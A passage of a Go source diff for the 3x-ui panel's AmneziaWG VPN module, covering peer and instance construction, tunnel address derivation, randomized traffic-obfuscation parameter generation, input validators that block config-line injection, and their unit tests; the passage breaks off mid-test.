peers = append(peers, Peer{
Email: c.Email,
PublicKey: c.PublicKey,
PresharedKey: c.PreSharedKey,
AllowedIPs: c.AllowedIPs,
ForwardedPorts: c.ForwardedPorts,
})
}
if len(peers) == 0 {
return Instance{}, false
}
addresses := []string{serverAddress(server.SubnetIP, server.SubnetCIDR)}
if server.IPv6Enabled {
if v6, ok := serverAddressV6(server.IPv6Subnet); ok {
addresses = append(addresses, v6)
}
}
return Instance{
Id: ib.Id,
Tag: ib.Tag,
InterfaceName: interfaceNameForID(ib.Id),
ListenPort: ib.Port,
PrivateKey: server.PrivateKey,
PublicKey: server.PublicKey,
Address: addresses,
MTU: server.MTU,
Obfuscation: server.Obfuscation(),
Peers: peers,
ExternalInterface: server.ExternalInterface,
IPv6Enabled: server.IPv6Enabled,
IPv6ExternalInterface: server.IPv6ExternalInterface,
RouteThroughXray: server.RouteThroughXray,
}, true
}
// interfaceNameForID derives the OS-level interface name for an inbound, e.g.
// "awg42". Kept even though the embedded path has no real kernel interface
// of its own: internal/amneziawgnet still uses the same name as a purely
// cosmetic/log-friendly label, so an existing peer's identity/history
// doesn't shift across the cutover.
func interfaceNameForID(id int) string {
return fmt.Sprintf("awg%d", id)
}
// serverAddress returns the server's own tunnel address for a subnet base,
// e.g. "10.8.1.1/24" for base "10.8.1.0" or "10.8.1.5". The server always
// holds the first usable host of the network subnetIP/cidr actually
// describes -- derived via netip rather than assuming subnetIP already ends
// in ".0", so a subnetIP that isn't a bare network address (a typo, or a
// manually edited value) can never collide with peer addresses, which are
// allocated starting from the network's second host upward (see
// allocateWireguardAddress). Falls back to the previous literal behavior
// only if subnetIP/cidr doesn't parse as an IPv4 network at all -- normal
// saves never reach that path since ValidateSubnetIPv4 already rejects it.
func serverAddress(subnetIP string, cidr int) string {
if cidr <= 0 {
cidr = 24
}
// A /32 has no host bits at all -- "first usable host" is meaningless,
// and Next() would step outside the block entirely -- so a single-host
// base is used exactly as given, same as before this fix.
prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
if err != nil || !prefix.Addr().Is4() || cidr >= 32 {
return fmt.Sprintf("%s/%d", subnetIP, cidr)
}
host := prefix.Masked().Addr().Next()
return fmt.Sprintf("%s/%d", host, cidr)
}
// serverAddressV6 returns the server's own IPv6 tunnel address for a subnet
// CIDR (e.g. "fd86:ea04:1115::1/64" for "fd86:ea04:1115::/64"), the first
// usable host in the prefix. ok is false when subnetCIDR is empty or not a
// valid IPv6 prefix.
func serverAddressV6(subnetCIDR string) (addr string, ok bool) {
prefix, err := netip.ParsePrefix(subnetCIDR)
if err != nil || !prefix.Addr().Is6() {
return "", false
}
host := prefix.Masked().Addr().Next()
return fmt.Sprintf("%s/%d", host, prefix.Bits()), true
}
// FirstIPv4 returns the first IPv4 address (mask stripped) among allowedIPs,
// or "" if none — used to derive a peer's tunnel IPv4 address.
func FirstIPv4(allowedIPs []string) string {
for _, a := range allowedIPs {
if prefix, err := netip.ParsePrefix(a); err == nil {
if prefix.Addr().Is4() {
return prefix.Addr().String()
}
continue
}
if addr, err := netip.ParseAddr(a); err == nil && addr.Is4() {
return addr.String()
}
}
return ""
}
// FirstIPv6 returns the first IPv6 address (mask stripped) among allowedIPs,
// or "" if none — the IPv6 counterpart of FirstIPv4, used by
// internal/amneziawgnet's IPv6-address-alias mechanism to find which
// address, if any, a peer wants aliased onto the host, and by
// internal/web/service/xray.go's injectAmneziawgV6Egress to build that
// peer's own freedom outbound (sendThrough). Only the first match is
// returned, exactly like FirstIPv4 — more than one IPv6 AllowedIPs entry
// per peer is not a supported configuration for either feature.
func FirstIPv6(allowedIPs []string) string {
for _, a := range allowedIPs {
if prefix, err := netip.ParsePrefix(a); err == nil {
if prefix.Addr().Is6() && !prefix.Addr().Is4In6() {
return prefix.Addr().String()
}
continue
}
if addr, err := netip.ParseAddr(a); err == nil && addr.Is6() && !addr.Is4In6() {
return addr.String()
}
}
return ""
}
+187
View File
@@ -0,0 +1,187 @@
package amneziawg
import (
"encoding/json"
"testing"
"github.com/mhsanaei/3x-ui/v3/internal/database/model"
)
func mkInboundSettings(t *testing.T, server *ServerSettings, clients []model.Client) string {
t.Helper()
bs, err := json.Marshal(InboundSettings{Server: server, Clients: clients})
if err != nil {
t.Fatalf("marshal settings: %v", err)
}
return string(bs)
}
func validServer() *ServerSettings {
return &ServerSettings{
PrivateKey: "serverPriv",
PublicKey: "serverPub",
SubnetIP: "10.8.1.0",
SubnetCIDR: 24,
}
}
func TestInstanceFromInboundParsesEnabledPeers(t *testing.T) {
settings := mkInboundSettings(t, validServer(), []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pubA", PreSharedKey: "pskA", AllowedIPs: []string{"10.8.1.2/32"}},
{Email: "b@x", Enable: false, PublicKey: "pubB", AllowedIPs: []string{"10.8.1.3/32"}},
{Email: "c@x", Enable: true, PublicKey: "", AllowedIPs: []string{"10.8.1.4/32"}}, // no key: skipped
{Email: "d@x", Enable: true, PublicKey: "pubD", AllowedIPs: nil}, // no address: skipped
})
ib := &model.Inbound{Id: 7, Tag: "awg-tag", Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
inst, ok := InstanceFromInbound(ib)
if !ok {
t.Fatal("expected a usable instance")
}
if inst.Id != 7 || inst.Tag != "awg-tag" || inst.ListenPort != 51820 {
t.Fatalf("instance identity not carried over: %+v", inst)
}
if inst.InterfaceName != "awg7" {
t.Fatalf("InterfaceName = %q, want awg7", inst.InterfaceName)
}
if len(inst.Address) != 1 || inst.Address[0] != "10.8.1.1/24" {
t.Fatalf("Address = %v, want [10.8.1.1/24]", inst.Address)
}
if len(inst.Peers) != 1 {
t.Fatalf("Peers = %+v, want exactly 1 (only a@x qualifies)", inst.Peers)
}
p := inst.Peers[0]
if p.Email != "a@x" || p.PublicKey != "pubA" || p.PresharedKey != "pskA" || len(p.AllowedIPs) != 1 || p.AllowedIPs[0] != "10.8.1.2/32" {
t.Fatalf("peer mismatch: %+v", p)
}
}
func TestInstanceFromInboundCopiesAWG30Fields(t *testing.T) {
server := validServer()
server.S1, server.S2, server.S3, server.S4 = 20, 20, 20, 20
server.HeaderProtectionKey = "some-header-protection-key"
server.ContentPaddingAddition = "50-100"
settings := mkInboundSettings(t, server, []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
})
ib := &model.Inbound{Id: 7, Protocol: model.AmneziaWG, Port: 51820, Settings: settings}
inst, ok := InstanceFromInbound(ib)
if !ok {
t.Fatal("expected a usable instance")
}
if inst.Obfuscation.HeaderProtectionKey != "some-header-protection-key" {
t.Fatalf("HeaderProtectionKey = %q, want it copied from ServerSettings", inst.Obfuscation.HeaderProtectionKey)
}
if inst.Obfuscation.ContentPaddingAddition != "50-100" {
t.Fatalf("ContentPaddingAddition = %q, want it copied from ServerSettings", inst.Obfuscation.ContentPaddingAddition)
}
}
func TestInstanceFromInboundRejectsWrongProtocol(t *testing.T) {
settings := mkInboundSettings(t, validServer(), []model.Client{
{Email: "a@x", Enable: true, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
})
ib := &model.Inbound{Id: 1, Protocol: model.VLESS, Settings: settings}
if _, ok := InstanceFromInbound(ib); ok {
t.Fatal("non-AmneziaWG inbound must be rejected")
}
}
func TestInstanceFromInboundRejectsNil(t *testing.T) {
if _, ok := InstanceFromInbound(nil); ok {
t.Fatal("nil inbound must be rejected")
}
}
func TestInstanceFromInboundRejectsMissingServer(t *testing.T) {
ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `{"clients":[]}`}
if _, ok := InstanceFromInbound(ib); ok {
t.Fatal("settings with no server block must be rejected")
}
}
func TestInstanceFromInboundRejectsUnparseableSettings(t *testing.T) {
ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: `not json`}
if _, ok := InstanceFromInbound(ib); ok {
t.Fatal("unparseable settings must be rejected")
}
}
func TestInstanceFromInboundEmptyWhenNoEnabledPeers(t *testing.T) {
settings := mkInboundSettings(t, validServer(), []model.Client{
{Email: "a@x", Enable: false, PublicKey: "pubA", AllowedIPs: []string{"10.8.1.2/32"}},
})
ib := &model.Inbound{Id: 1, Protocol: model.AmneziaWG, Settings: settings}
if _, ok := InstanceFromInbound(ib); ok {
t.Fatal("an inbound with zero enabled peers must be skipped, like mtproto.InstanceFromInbound")
}
}
func TestServerAddress(t *testing.T) {
cases := []struct {
subnet string
cidr int
want string
}{
{"10.8.1.0", 24, "10.8.1.1/24"},
{"10.8.1.0", 0, "10.8.1.1/24"}, // cidr <= 0 defaults to /24
{"10.8.1.5", 24, "10.8.1.1/24"}, // non-network base: must not collide with peer allocation starting at .2
{"10.8.1.254", 24, "10.8.1.1/24"},
{"192.168.5.10", 32, "192.168.5.10/32"}, // /32 has no host bits: used as-is
}
for _, c := range cases {
if got := serverAddress(c.subnet, c.cidr); got != c.want {
t.Errorf("serverAddress(%q, %d) = %q, want %q", c.subnet, c.cidr, got, c.want)
}
}
}
func TestInterfaceNameForID(t *testing.T) {
if got := interfaceNameForID(42); got != "awg42" {
t.Errorf("interfaceNameForID(42) = %q, want awg42", got)
}
}
func TestFirstIPv4(t *testing.T) {
cases := []struct {
name string
ips []string
want string
}{
{"single v4 CIDR", []string{"10.8.1.2/32"}, "10.8.1.2"},
{"bare v4 address, no mask", []string{"10.8.1.2"}, "10.8.1.2"},
{"v6 first, v4 second", []string{"fd86:ea04:1115::2/128", "10.8.1.2/32"}, "10.8.1.2"},
{"v4-only among several", []string{"10.8.1.2/32", "10.8.1.3/32"}, "10.8.1.2"},
{"v6 only", []string{"fd86:ea04:1115::2/128"}, ""},
{"empty input", nil, ""},
{"unparseable entries skipped", []string{"not-an-ip", "10.8.1.2/32"}, "10.8.1.2"},
}
for _, c := range cases {
if got := FirstIPv4(c.ips); got != c.want {
t.Errorf("%s: FirstIPv4(%v) = %q, want %q", c.name, c.ips, got, c.want)
}
}
}
func TestFirstIPv6(t *testing.T) {
cases := []struct {
name string
ips []string
want string
}{
{"single v6 CIDR", []string{"fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
{"bare v6 address, no mask", []string{"fd86:ea04:1115::2"}, "fd86:ea04:1115::2"},
{"v4 first, v6 second", []string{"10.8.1.2/32", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
{"only first of two v6 entries returned", []string{"fd86:ea04:1115::2/128", "fd86:ea04:1115::3/128"}, "fd86:ea04:1115::2"},
{"v4 only", []string{"10.8.1.2/32"}, ""},
{"empty input", nil, ""},
{"unparseable entries skipped", []string{"not-an-ip", "fd86:ea04:1115::2/128"}, "fd86:ea04:1115::2"},
{"v4-mapped v6 is not a real v6 identity", []string{"::ffff:10.8.1.2/128"}, ""},
}
for _, c := range cases {
if got := FirstIPv6(c.ips); got != c.want {
t.Errorf("%s: FirstIPv6(%v) = %q, want %q", c.name, c.ips, got, c.want)
}
}
}
+337
View File
@@ -0,0 +1,337 @@
package amneziawg
import (
"crypto/rand"
"encoding/base64"
"fmt"
"math/big"
"net/netip"
"regexp"
"strconv"
"strings"
)
// awgHMax caps generated H values at 2^31-1: the spec allows the full uint32,
// but the amneziawg-windows-client config editor rejects anything above.
const awgHMax = 2147483647
// hMinWidth is the minimum width of each generated H1-H4 range.
const hMinWidth = 1000
// hMaxValid is the largest value ValidateObfuscation accepts for an H
// parameter: uint32 max, the kernel's own limit.
const hMaxValid int64 = 4294967295
// randInt returns a uniform random int in [min, max] using crypto/rand. Falls
// back to min on the (practically impossible) RNG error.
func randInt(min, max int) int {
if max <= min {
return min
}
n, err := rand.Int(rand.Reader, big.NewInt(int64(max-min)+1))
if err != nil {
return min
}
return min + int(n.Int64())
}
// GenerateObfuscation31 produces a randomized AmneziaWG 3.1 parameter set: a
// static value gets profiled by DPI, defeating the point.
func GenerateObfuscation31() Obfuscation31 {
var o Obfuscation31
o.Jc = randInt(3, 6)
o.Jmin = randInt(40, 89)
o.Jmax = o.Jmin + randInt(50, 250)
o.S1 = randInt(15, 150)
o.S2 = randInt(15, 150)
// Kernel constraint: S1+56 != S2, else init and response handshake
// packets end up the same size after padding.
for o.S1+56 == o.S2 {
o.S2 = randInt(15, 150)
}
// Floored at 12: HeaderProtectionKey is always generated below, and IpcSet
// rejects header protection unless every S1-S4 is >= 12.
o.S3 = randInt(12, 55) // cookie padding (max 64)
o.S4 = randInt(12, 27) // transport padding (max 32)
h := generateHRanges()
o.H1, o.H2, o.H3, o.H4 = h[0], h[1], h[2], h[3]
// CPS signature packet, N random bytes before each handshake. I2-I5 stay
// empty, matching Amnezia's own generator.
o.I1 = fmt.Sprintf("<r %d>", randInt(32, 256))
o.HeaderProtectionKey = generateHeaderProtectionKey()
// Total padding stays <= 64: it rides on full-size transport packets, the
// same MTU headroom that caps S4 at 32.
cpLo := randInt(8, 24)
o.ContentPaddingAddition = fmt.Sprintf("%d-%d", cpLo, cpLo+randInt(8, 40))
// Timing windows bracket WireGuard's own constants (rekey 120s, reject
// 180s) so sessions still renew before expiry.
rkLo := randInt(100, 120)
rkHi := rkLo + randInt(10, 40)
o.RekeyAfterTime = fmt.Sprintf("%d-%d", rkLo, rkHi)
// Every reject value exceeds every rekey value by >= 30s by construction.
rjLo := rkHi + randInt(30, 60)
o.RejectAfterTime = fmt.Sprintf("%d-%d", rjLo, rjLo+randInt(30, 90))
rtLo := randInt(3, 6)
o.RekeyTimeout = fmt.Sprintf("%d-%d", rtLo, rtLo+randInt(1, 4))
// Max 20s: under clients' typical 25s PersistentKeepalive and ~30s NAT UDP
// timeouts, or idle links lose their NAT mapping.
kaLo := randInt(8, 12)
o.KeepaliveTimeout = fmt.Sprintf("%d-%d", kaLo, kaLo+randInt(2, 8))
haLo := randInt(15, 25)
o.MaxHandshakeAttempts = fmt.Sprintf("%d-%d", haLo, haLo+randInt(5, 25))
o.RandomTrailers = true
// Cookie replies are DPI-fingerprintable; this stealth default trades away
// WG's handshake-flood mitigation and is toggleable per inbound.
o.DisableCookies = true
return o
}
// generateHeaderProtectionKey returns base64 of 32 crypto/rand bytes, the
// format amneziawg-tools' HeaderProtectionKey parser expects.
func generateHeaderProtectionKey() string {
key := make([]byte, 32)
if _, err := rand.Read(key); err != nil {
return ""
}
return base64.StdEncoding.EncodeToString(key)
}
// generateHRanges returns four non-overlapping "low-high" ranges for H1-H4,
// one per band of the space so non-overlap needs no retries. The low bound is
// >= 5: values 1-4 are reserved for vanilla WireGuard message types.
func generateHRanges() [4]string {
const lo = 5
bandSize := (awgHMax - lo + 1) / 4
var out [4]string
for i := 0; i < 4; i++ {
bandLo := lo + i*bandSize
bandHi := bandLo + bandSize - 1
start := randInt(bandLo, bandHi-hMinWidth-1)
end := randInt(start+hMinWidth, bandHi-1)
out[i] = fmt.Sprintf("%d-%d", start, end)
}
return out
}
// ValidateObfuscation rejects malformed parameters before they are saved, so
// a bad manual entry can't break the embedded amneziawg-go device's own
// UAPI config apply (internal/amneziawgnet's buildUAPIConfig/IpcSet) or
// produce a client config the official app rejects outright. Blank H values
// are allowed (they fall back to a default); each accepts an integer or a
// "100-800" range.
func ValidateObfuscation(o Obfuscation31) error {
if o.Jmin > o.Jmax {
return fmt.Errorf("invalid Jmin/Jmax: %d must not exceed %d", o.Jmin, o.Jmax)
}
if o.S3 < 0 || o.S3 > 64 {
return fmt.Errorf("invalid S3 value %d (must be 0..64)", o.S3)
}
if o.S4 < 0 || o.S4 > 32 {
return fmt.Errorf("invalid S4 value %d (must be 0..32)", o.S4)
}
if o.S1+56 == o.S2 {
return fmt.Errorf("invalid S1/S2: S1+56 must not equal S2 (%d+56 == %d)", o.S1, o.S2)
}
for i, h := range []string{o.H1, o.H2, o.H3, o.H4} {
if err := validateUintRange(h, 0); err != nil {
return fmt.Errorf("invalid H%d: %w", i+1, err)
}
}
if err := validateHeaderProtectionKey(o.HeaderProtectionKey); err != nil {
return err
}
if o.HeaderProtectionKey != "" {
for i, s := range []int{o.S1, o.S2, o.S3, o.S4} {
if s < 12 {
return fmt.Errorf("invalid S%d value %d: header protection requires S1-S4 >= 12", i+1, s)
}
}
}
if err := validateUintRange(o.ContentPaddingAddition, 0); err != nil {
return fmt.Errorf("invalid contentPaddingAddition: %w", err)
}
timing := []struct{ field, v string }{
{"rekeyAfterTime", o.RekeyAfterTime},
{"rekeyTimeout", o.RekeyTimeout},
{"rejectAfterTime", o.RejectAfterTime},
{"keepaliveTimeout", o.KeepaliveTimeout},
{"maxHandshakeAttempts", o.MaxHandshakeAttempts},
}
for _, tf := range timing {
// Zero would disable the timer or retry loop outright, so min is 1.
if err := validateUintRange(tf.v, 1); err != nil {
return fmt.Errorf("invalid %s: %w", tf.field, err)
}
}
// Sessions must renew before hard expiry, so every possible rekey fires
// before the earliest reject. A blank side means WireGuard's own default.
if o.RekeyAfterTime != "" || o.RejectAfterTime != "" {
rekeyHi, rejectLo := int64(120), int64(180)
if o.RekeyAfterTime != "" {
_, rekeyHi, _ = parseUintRange(o.RekeyAfterTime)
}
if o.RejectAfterTime != "" {
rejectLo, _, _ = parseUintRange(o.RejectAfterTime)
}
if rekeyHi >= rejectLo {
return fmt.Errorf("invalid rekeyAfterTime/rejectAfterTime: max rekey %d must be below min reject %d", rekeyHi, rejectLo)
}
}
return nil
}
// CanonicalizeUintRange stores a pasted "110 - 140" as "110-140", and
// collapses a whitespace-only value back to "feature off".
func CanonicalizeUintRange(v string) string {
return strings.ReplaceAll(strings.TrimSpace(v), " ", "")
}
// validateHeaderProtectionKey accepts blank (feature off) or a base64 32-byte
// key. Control chars are rejected up front: DecodeString silently ignores
// \r\n, so a line-wrapped pasted key would pass and then split client configs.
func validateHeaderProtectionKey(v string) error {
if v == "" {
return nil
}
if err := ValidateConfigValue("headerProtectionKey", v); err != nil {
return err
}
key, err := base64.StdEncoding.DecodeString(v)
if err != nil {
return fmt.Errorf("invalid headerProtectionKey: not base64: %w", err)
}
if len(key) != 32 {
return fmt.Errorf("invalid headerProtectionKey: got %d bytes, want 32", len(key))
}
return nil
}
// ValidateIPv6Subnet rejects a malformed subnet before it's saved. A blank
// value is only valid when IPv6 itself is disabled.
func ValidateIPv6Subnet(enabled bool, subnet string) error {
if !enabled {
return nil
}
if strings.TrimSpace(subnet) == "" {
return fmt.Errorf("ipv6Subnet is required when IPv6 is enabled")
}
prefix, err := netip.ParsePrefix(subnet)
if err != nil {
return fmt.Errorf("invalid ipv6Subnet %q: %w", subnet, err)
}
if !prefix.Addr().Is6() {
return fmt.Errorf("invalid ipv6Subnet %q: not an IPv6 prefix", subnet)
}
return nil
}
// interfaceNamePattern matches a plausible Linux device name (eth0, br-lan,
// eno1.100, eth0:0), capped at 15 bytes (IFNAMSIZ-1).
var interfaceNamePattern = regexp.MustCompile(`^[A-Za-z0-9_.@:-]{1,15}$`)
// ValidateInterfaceName guards the NIC names generateServerConfig interpolates
// unescaped into a root-executed PostUp/PostDown line. Blank is allowed and
// means auto-detect (or, for IPv6ExternalInterface, reuse the IPv4 one).
func ValidateInterfaceName(name string) error {
if name == "" {
return nil
}
if !interfaceNamePattern.MatchString(name) {
return fmt.Errorf("invalid interface name %q: must be 1-15 characters of letters, digits, '.', '_', '@', ':' or '-'", name)
}
return nil
}
// ValidateSubnetIPv4 guards subnetIP, which lands in the MASQUERADE rule the
// same way ExternalInterface does. subnetCIDR <= 0 means unset, mirroring
// serverAddress's own default-to-/24 leniency.
func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error {
cidr := subnetCIDR
if cidr <= 0 {
cidr = 24
}
if cidr > 32 {
return fmt.Errorf("invalid subnetCidr %d: must be 0..32", subnetCIDR)
}
prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
if err != nil {
return fmt.Errorf("invalid subnetIp %q: %w", subnetIP, err)
}
if !prefix.Addr().Is4() {
return fmt.Errorf("invalid subnetIp %q: not an IPv4 address", subnetIP)
}
return nil
}
// ValidateConfigValue rejects control characters in any value interpolated
// verbatim into a rendered .conf: a newline re-opens an [Interface] section
// whose "PostUp = ..." runs as root the moment whoever downloaded that
// config -- the client app, or an admin importing it into the official
// awg-quick CLI directly -- applies it. The panel's own server side never
// runs awg-quick itself (internal/amneziawgnet applies config via
// amneziawg-go's UAPI, not a parsed text file), but this exact value still
// reaches a real text-based config downstream. field names the value.
func ValidateConfigValue(field, v string) error {
for _, r := range v {
if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
return fmt.Errorf("invalid %s: control characters are not allowed", field)
}
}
return nil
}
// validateUintRange checks a uint32-range parameter (H1-H4, the 3.x padding
// and timing fields): blank, an integer, or "low-high" within the bounds.
func validateUintRange(v string, minAllowed int64) error {
if strings.TrimSpace(v) == "" {
return nil
}
// parseUintRange trims each half, so "110\n-140" would otherwise pass and
// then split a rendered config line in two.
if err := ValidateConfigValue("range", v); err != nil {
return fmt.Errorf("value %q must not contain control characters", v)
}
lo, hi, ok := parseUintRange(v)
if !ok {
return fmt.Errorf("value %q must be an integer or a low-high range", v)
}
if lo < minAllowed || hi > hMaxValid || lo > hi {
return fmt.Errorf("range %q must satisfy %d <= low <= high <= %d", v, minAllowed, hMaxValid)
}
return nil
}
// parseUintRange parses "N" (lo == hi) or "low-high"; ok is false when blank
// or non-numeric. Bounds are NOT checked here.
func parseUintRange(v string) (lo, hi int64, ok bool) {
v = strings.TrimSpace(v)
if v == "" {
return 0, 0, false
}
if loS, hiS, isRange := strings.Cut(v, "-"); isRange {
l, err1 := strconv.ParseInt(strings.TrimSpace(loS), 10, 64)
h, err2 := strconv.ParseInt(strings.TrimSpace(hiS), 10, 64)
if err1 != nil || err2 != nil {
return 0, 0, false
}
return l, h, true
}
n, err := strconv.ParseInt(v, 10, 64)
if err != nil {
return 0, 0, false
}
return n, n, true
}
+384
View File
@@ -0,0 +1,384 @@
package amneziawg
import (
"encoding/base64"
"strconv"
"strings"
"testing"
)
func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
for i := 0; i < 200; i++ {
o := GenerateObfuscation31()
if o.Jc < 3 || o.Jc > 6 {
t.Fatalf("Jc = %d, want [3,6]", o.Jc)
}
if o.Jmin < 40 || o.Jmin > 89 {
t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
}
if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
}
if o.S1 < 15 || o.S1 > 150 {
t.Fatalf("S1 = %d, want [15,150]", o.S1)
}
if o.S2 < 15 || o.S2 > 150 {
t.Fatalf("S2 = %d, want [15,150]", o.S2)
}
if o.S1+56 == o.S2 {
t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
}
if o.S3 < 12 || o.S3 > 55 {
t.Fatalf("S3 = %d, want [12,55]", o.S3)
}
if o.S4 < 12 || o.S4 > 27 {
t.Fatalf("S4 = %d, want [12,27]", o.S4)
}
if o.HeaderProtectionKey != "" {
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("generated set failed its own validation: %v", err)
}
}
for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
if err := validateUintRange(h, 0); err != nil {
t.Fatalf("%s = %q invalid: %v", name, h, err)
}
if h == "" {
t.Fatalf("%s is empty, want a generated range", name)
}
}
if !strings.HasPrefix(o.I1, "<r ") || !strings.HasSuffix(o.I1, ">") {
t.Fatalf("I1 = %q, want \"<r N>\" form", o.I1)
}
n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, "<r "), ">"))
if err != nil || n < 32 || n > 256 {
t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
}
for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
if v != "" {
t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
}
}
key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
if err != nil || len(key) != 32 {
t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
}
assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
}
rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
if rjLo < rkHi+30 {
t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
}
assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
if !o.RandomTrailers || !o.DisableCookies {
t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
}
}
}
// assertRangeWithin parses a "lo-hi" value and fails unless
// min <= lo <= hi <= max, returning the parsed bounds.
func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
t.Helper()
lo, hi, ok := parseUintRange(v)
if !ok || !strings.Contains(v, "-") {
t.Fatalf("%s = %q, want a lo-hi range", name, v)
}
if lo < min || hi > max || lo > hi {
t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
}
return lo, hi
}
func TestGenerateHRangesNonOverlapping(t *testing.T) {
for i := 0; i < 50; i++ {
h := generateHRanges()
var prevHi int64
for i, r := range h {
lo, hi, ok := strings.Cut(r, "-")
if !ok {
t.Fatalf("H%d = %q is not a range", i+1, r)
}
loN, _ := strconv.ParseInt(lo, 10, 64)
hiN, _ := strconv.ParseInt(hi, 10, 64)
if loN <= prevHi {
t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
}
if hiN-loN < hMinWidth {
t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
}
prevHi = hiN
}
}
}
func validObfuscation() Obfuscation31 {
return GenerateObfuscation31()
}
func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
for i := 0; i < 50; i++ {
if err := ValidateObfuscation(validObfuscation()); err != nil {
t.Fatalf("generated obfuscation set rejected: %v", err)
}
}
}
func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
o := validObfuscation()
o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
}
}
func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
o := validObfuscation()
o.Jmin, o.Jmax = 50, 10
if err := ValidateObfuscation(o); err == nil {
t.Fatal("Jmin > Jmax must be rejected")
}
}
func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
o := validObfuscation()
o.S3 = 65
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S3 > 64 must be rejected")
}
o = validObfuscation()
o.S4 = 33
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S4 > 32 must be rejected")
}
o = validObfuscation()
o.S3, o.S4 = -1, -1
if err := ValidateObfuscation(o); err == nil {
t.Fatal("negative S3/S4 must be rejected")
}
}
func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
for field, set := range map[string]func(o *Obfuscation31){
"S1": func(o *Obfuscation31) { o.S1 = 11 },
"S2": func(o *Obfuscation31) { o.S2 = 11 },
"S3": func(o *Obfuscation31) { o.S3 = 11 },
"S4": func(o *Obfuscation31) { o.S4 = 11 },
} {
o := validObfuscation()
set(&o)
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
}
}
o := validObfuscation()
o.HeaderProtectionKey = ""
o.S3, o.S4 = 8, 4
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
}
}
func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
o := validObfuscation()
o.S1 = 30
o.S2 = o.S1 + 56
if err := ValidateObfuscation(o); err == nil {
t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
}
}
func TestValidateObfuscationRejectsBadH(t *testing.T) {
cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
for _, h := range cases {
o := validObfuscation()
o.H1 = h
if err := ValidateObfuscation(o); err == nil {
t.Fatalf("H1 = %q must be rejected", h)
}
}
}
func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
o := validObfuscation()
o.HeaderProtectionKey = ""
o.ContentPaddingAddition = ""
o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
o.RandomTrailers, o.DisableCookies = false, false
if err := ValidateObfuscation(o); err != nil {
t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
}
}
func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
cases := []struct {
name string
mutate func(o *Obfuscation31)
}{
{"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
{"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
{"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
{"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
{"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
{"rekey max not below reject min", func(o *Obfuscation31) {
